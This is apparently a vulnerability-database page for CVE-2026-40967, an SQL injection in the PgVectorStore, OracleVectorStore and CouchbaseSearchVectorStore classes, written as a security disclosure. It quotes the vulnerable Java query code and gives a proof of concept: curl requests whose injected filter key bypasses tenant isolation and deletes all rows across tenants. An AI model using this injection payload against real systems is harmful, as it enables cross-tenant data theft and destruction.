Ghostwire

CVE-2026-40967: PgVectorStore, OracleVectorStore, and CouchbaseSearchVectorStore concatenate filter expression output directly into SQL...

HIGH CVSS 7.5

Published: April 27, 2026 | Last Modified: April 27, 2026

Description

PgVectorStore, OracleVectorStore, and CouchbaseSearchVectorStore concatenate filter expression output directly into SQL without parameterization, enabling tenant isolation bypass, data exfiltration, and deletion of arbitrary rows. The SQL concatenation is in the framework's store classes and converter's doKey() method - even the programmatic FilterExpressionBuilder API is vulnerable.  // PgVectorStore.java (main branch) — same pattern in OracleVectorStore and CouchbaseSearchVectorStoreString sql =  "DELETE FROM " + getFullyQualifiedTableName() +  " WHERE metadata::jsonb @@ '" + nativeFilterExpression +  "'::jsonpath";this.jdbcTemplate.update(sql);PgVectorFilterExpressionConverter.doKey() concatenates "$." + key.key() with no escaping. A single quote in the key terminates the SQL string literal. Additionally, emitJsonValue() does not escape single quotes (not special in JSON), so a single quote in a value also breaks the SQL.The primary PoC achieves full tenant bypass and data destruction using only FilterExpressionBuilder - no string concatenation in application code. The vulnerability is in the framework's query construction, not in how the expression is built. Proof of Concept: Start the database and application:docker compose -f poc/docker-compose.yml -p sqli-poc up -dcd poc/java-poc && ./mvnw spring-boot:runLegitimate request (returns only acme's 2 documents):$ curl 'http://localhost:8080/search?query=report&tenant=acme'{"result_count": 2, "filter_key": "tenant", "filter_value": "acme", ...}Bypass tenant isolation (returns all 5 documents from all 3 tenants). The injected key closes the jsonpath string, adds OR true, then re-opens a valid jsonpath to absorb the trailing SQL:$ curl -G http://localhost:8080/search \  --data-urlencode "query=report" \  --data-urlencode "key=tenant'::jsonpath OR true OR metadata::jsonb @@ '$.tenant" \  --data-urlencode "tenant=x"{"result_count": 5, ...}Delete all documents across all tenants:$ curl -G http://localhost:8080/delete \    --data-urlencode "key=tenant'::jsonpath OR true OR metadata::jsonb @@ '$.tenant" \    --data-urlencode "tenant=x"{"status": "deleted", "remaining_documents": 0} 

Ghostwire Analysis — What This Means Practically

This analysis is generated by Ghostwire from NVD, CISA KEV, EPSS, and open-source intelligence data. Verify findings through primary sources before acting.

Security Coverage (2 articles)

References